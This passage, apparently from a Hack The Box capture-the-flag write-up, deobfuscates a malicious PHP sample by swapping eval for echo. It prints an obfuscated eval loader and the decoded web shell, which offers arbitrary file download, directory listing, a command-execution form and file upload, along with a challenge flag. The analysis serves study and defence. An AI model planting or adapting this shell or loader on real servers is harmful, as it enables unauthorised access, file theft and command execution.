&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;alr dbl c fabe&amp;lt;a.Sa&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">s t&amp;gt;/ e&amp;#39;)n -eml rlm; 0&amp;#39;e []&amp;amp; - x x(trun&amp;#39;[= &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">rfu=bsPnlitmo. &amp;#39;rl&amp;#39;t oll&amp;lt;/l&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">E&amp;gt;&amp;lt;e&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">d&amp;lt;t = rC;t -fieLaao i0; &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> &amp;#39;&amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e) &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">yipt]&amp;#39;= d)ot&amp;#39;msO&amp;#39;et(ea ]&amp;gt;y&amp;lt;o rue/tuvL&amp;lt;/ ?&amp;gt;tr (o&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">r =naapsd}f0 i w=0w;wc )wpt[f)d i;r ti=S &amp;#39;&amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">(dF [&amp;lt; br ee-treaF/t{d&amp;lt;d&amp;gt; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">h&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#39;n o L&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">.ptcse&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">( }f r 0&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ou&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> oee&amp;#39;(;iN r&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">mtet&amp;#39;Tn _&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">Di &amp;#39;biry a hh&amp;gt;)l&amp;#39;td&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ot&amp;gt;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> _eCt l rahcied= )&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">( i(0 rtoi?r)&amp;#39;r&lt;/span>&lt;span class="se">\&amp;#34;\n&lt;/span>&lt;span class="s2">rU e.e yx&amp;#39;n&amp;#39;anvP_il t&amp;gt;n&amp;gt;. c&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s2">o&amp;gt;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> u]d&amp;gt; wd ; Gaoe : ettsssn&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">= &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">t&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">4: lewf l;]e% &amp;#39;L c&amp;#39;capt a maaOFre mF &amp;lt;&amp;#39; hnv&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> {e &amp;gt;&amp;lt; n&amp;gt;&lt;/span>&lt;span class="se">\&amp;#34;\n&lt;/span>&lt;span class="s2"> Ednn aets.t.c m{ &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">oem0 d&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">n(&amp;#39;d&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">,a1 ]L h/hce&amp;#39;vveemlS&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;Ie }pi&amp;#39;b&amp;lt;ee &amp;lt;e &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">).&amp;lt;t l&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> } Tett m dsp&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">c cof o mw&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o)&amp;#39; []e s[ ds ) o&amp;#39;ot= abn=euTLca&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">_l.r/cx(br ) td o..&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> [re- u ft:&amp;gt;oconi d&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> on]d - &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> r&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;&amp;#39; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;% )oe . i&amp;#39;nlac&amp;#39;=e[Etl ne&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;gt;bhe&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r )&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">d&amp;gt; a e &amp;#39;(nD s i /&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">momtl et de e?&amp;#39; w=[m e o]1 rc&lt;/span>&lt;span class="se">\$\$\&amp;#34;&lt;/span>&lt;span class="s2">ohaurtd&amp;#39;=&amp;#39;Sor a d&amp;lt;&amp;gt;occ&amp;gt;t &amp;lt; ?&amp;gt; dppc d&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#39;ti t lc/&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">/m/ae y er= ; r &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o:x w,s { hfv&amp;lt;nime-yif&amp;#39;s[re m&amp;#39;ib&amp;lt; (m&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">a / {d&lt;/span>&lt;span class="se">\&amp;#34;\&amp;#34;&lt;/span>&lt;span class="s2"> =orh oC-s -heom&amp;lt;apbip &amp;amp;p [ &amp;amp;&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> i(ed e n % &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">!oiah=de=fpriUu&amp;#39;ya e.r b&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#39;d;b t&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">i. &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">sio woTp re(ma!jionee e &amp;amp;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">( r &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">t&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">xe&amp;#39;c e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">1 i ll2&amp;#39;d=&amp;#39;oe&amp;#39;lpbf)d &amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">.sr&amp;lt;cr&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">l h r . .in &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nv">$i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="nv">$pPziZoJiMpcu&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nv">$i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nv">$liGBOKxsOGMz&lt;/span>&lt;span class="p">[]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nv">$i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">strlen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$iyzQ5h8qf6&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="nv">$pPziZoJiMpcu&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="nv">$i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="k">for&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nv">$r&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="nv">$pPziZoJiMpcu&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nv">$r&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nv">$liGBOKxsOGMz&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nv">$r&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="nv">$iyzQ5h8qf6&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nv">$r&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nv">$i&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="nv">$pPziZoJiMpcu&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$bhrTeZXazQ&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">trim&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">implode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">$liGBOKxsOGMz&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$bhrTeZXazQ&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;?&amp;gt;&lt;/span>&lt;span class="si">$bhrTeZXazQ&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">eval&lt;/span>&lt;span class="p">(&lt;/span> &lt;span class="nv">$bhrTeZXazQ&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">?&amp;gt;&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That doesn&amp;rsquo;t look nice, let&amp;rsquo;s replace &lt;code>eval&lt;/code> by &lt;code>echo&lt;/code> and execute this to see decoded codes:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">?&amp;gt;&lt;/span>&lt;span class="err">&amp;lt;?php
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">if (isset($_GET[&amp;#39;download&amp;#39;])) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $file = $_GET[&amp;#39;download&amp;#39;];
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if (file_exists($file)) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Content-Description: File Transfer&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Content-Type: application/octet-stream&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Content-Disposition: attachment; filename=&amp;#34;&amp;#39;.basename($file).&amp;#39;&amp;#34;&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Expires: 0&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Cache-Control: must-revalidate&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Pragma: public&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Content-Length: &amp;#39; . filesize($file));
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> readfile($file);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> exit;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">?&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;html&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;!-- Latest compiled and minified CSS --&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;link rel=&amp;#34;stylesheet&amp;#34; href=&amp;#34;http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;!-- jQuery library --&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;script src=&amp;#34;https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;!-- Latest compiled JavaScript --&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;script src=&amp;#34;http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;div class=&amp;#34;container&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;?php
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">function printPerms($file) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $mode = fileperms($file);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if( $mode &amp;amp; 0x1000 ) { $type=&amp;#39;p&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if( $mode &amp;amp; 0x2000 ) { $type=&amp;#39;c&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if( $mode &amp;amp; 0x4000 ) { $type=&amp;#39;d&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if( $mode &amp;amp; 0x6000 ) { $type=&amp;#39;b&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if( $mode &amp;amp; 0x8000 ) { $type=&amp;#39;-&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if( $mode &amp;amp; 0xA000 ) { $type=&amp;#39;l&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if( $mode &amp;amp; 0xC000 ) { $type=&amp;#39;s&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else $type=&amp;#39;u&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $owner[&amp;#34;read&amp;#34;] = ($mode &amp;amp; 00400) ? &amp;#39;r&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $owner[&amp;#34;write&amp;#34;] = ($mode &amp;amp; 00200) ? &amp;#39;w&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $owner[&amp;#34;execute&amp;#34;] = ($mode &amp;amp; 00100) ? &amp;#39;x&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $group[&amp;#34;read&amp;#34;] = ($mode &amp;amp; 00040) ? &amp;#39;r&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $group[&amp;#34;write&amp;#34;] = ($mode &amp;amp; 00020) ? &amp;#39;w&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $group[&amp;#34;execute&amp;#34;] = ($mode &amp;amp; 00010) ? &amp;#39;x&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $world[&amp;#34;read&amp;#34;] = ($mode &amp;amp; 00004) ? &amp;#39;r&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $world[&amp;#34;write&amp;#34;] = ($mode &amp;amp; 00002) ? &amp;#39;w&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $world[&amp;#34;execute&amp;#34;] = ($mode &amp;amp; 00001) ? &amp;#39;x&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if( $mode &amp;amp; 0x800 ) $owner[&amp;#34;execute&amp;#34;] = ($owner[&amp;#39;execute&amp;#39;]==&amp;#39;x&amp;#39;) ? &amp;#39;s&amp;#39; : &amp;#39;S&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if( $mode &amp;amp; 0x400 ) $group[&amp;#34;execute&amp;#34;] = ($group[&amp;#39;execute&amp;#39;]==&amp;#39;x&amp;#39;) ? &amp;#39;s&amp;#39; : &amp;#39;S&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if( $mode &amp;amp; 0x200 ) $world[&amp;#34;execute&amp;#34;] = ($world[&amp;#39;execute&amp;#39;]==&amp;#39;x&amp;#39;) ? &amp;#39;t&amp;#39; : &amp;#39;T&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $s=sprintf(&amp;#34;%1s&amp;#34;, $type);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $s.=sprintf(&amp;#34;%1s%1s%1s&amp;#34;, $owner[&amp;#39;read&amp;#39;], $owner[&amp;#39;write&amp;#39;], $owner[&amp;#39;execute&amp;#39;]);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $s.=sprintf(&amp;#34;%1s%1s%1s&amp;#34;, $group[&amp;#39;read&amp;#39;], $group[&amp;#39;write&amp;#39;], $group[&amp;#39;execute&amp;#39;]);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $s.=sprintf(&amp;#34;%1s%1s%1s&amp;#34;, $world[&amp;#39;read&amp;#39;], $world[&amp;#39;write&amp;#39;], $world[&amp;#39;execute&amp;#39;]);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> return $s;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">$dir = $_GET[&amp;#39;dir&amp;#39;];
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">if (isset($_POST[&amp;#39;dir&amp;#39;])) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $dir = $_POST[&amp;#39;dir&amp;#39;];
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">$file = &amp;#39;&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">if ($dir == NULL or !is_dir($dir)) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if (is_file($dir)) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;enters&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $file = $dir;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo $file;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $dir = &amp;#39;./&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">$dir = realpath($dir.&amp;#39;/&amp;#39;.$value);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">##flag = HTB{W0w_ROt_A_DaY}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">$dirs = scandir($dir);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;h2&amp;gt;Viewing directory &amp;#34; . $dir . &amp;#34;&amp;lt;/h2&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;\n&amp;lt;br&amp;gt;&amp;lt;form action=&amp;#39;&amp;#34;.$_SERVER[&amp;#39;PHP_SELF&amp;#39;].&amp;#34;&amp;#39; method=&amp;#39;GET&amp;#39;&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;input type=&amp;#39;hidden&amp;#39; name=&amp;#39;dir&amp;#39; value=&amp;#34;.$dir.&amp;#34; /&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;input type=&amp;#39;text&amp;#39; name=&amp;#39;cmd&amp;#39; autocomplete=&amp;#39;off&amp;#39; autofocus&amp;gt;\n&amp;lt;input type=&amp;#39;submit&amp;#39; value=&amp;#39;Execute&amp;#39;&amp;gt;\n&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;/form&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;\n&amp;lt;br&amp;gt;\n&amp;lt;div class=&amp;#39;navbar-form&amp;#39;&amp;gt;&amp;lt;form action=&amp;#39;&amp;#34;.$_SERVER[&amp;#39;PHP_SELF&amp;#39;].&amp;#34;&amp;#39; method=&amp;#39;POST&amp;#39; enctype=&amp;#39;multipart/form-data&amp;#39;&amp;gt;\n&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;input type=&amp;#39;hidden&amp;#39; name=&amp;#39;dir&amp;#39; value=&amp;#39;&amp;#34;.$_GET[&amp;#39;dir&amp;#39;].&amp;#34;&amp;#39;/&amp;gt; &amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;input type=&amp;#39;file&amp;#39; name=&amp;#39;fileToUpload&amp;#39; id=&amp;#39;fileToUpload&amp;#39;&amp;gt;\n&amp;lt;br&amp;gt;&amp;lt;input type=&amp;#39;submit&amp;#39; value=&amp;#39;Upload File&amp;#39; name=&amp;#39;submit&amp;#39;&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;/div&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">if (isset($_POST[&amp;#39;submit&amp;#39;])) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $uploadDirectory = $dir.&amp;#39;/&amp;#39;.basename($_FILES[&amp;#39;fileToUpload&amp;#39;][&amp;#39;name&amp;#39;]);
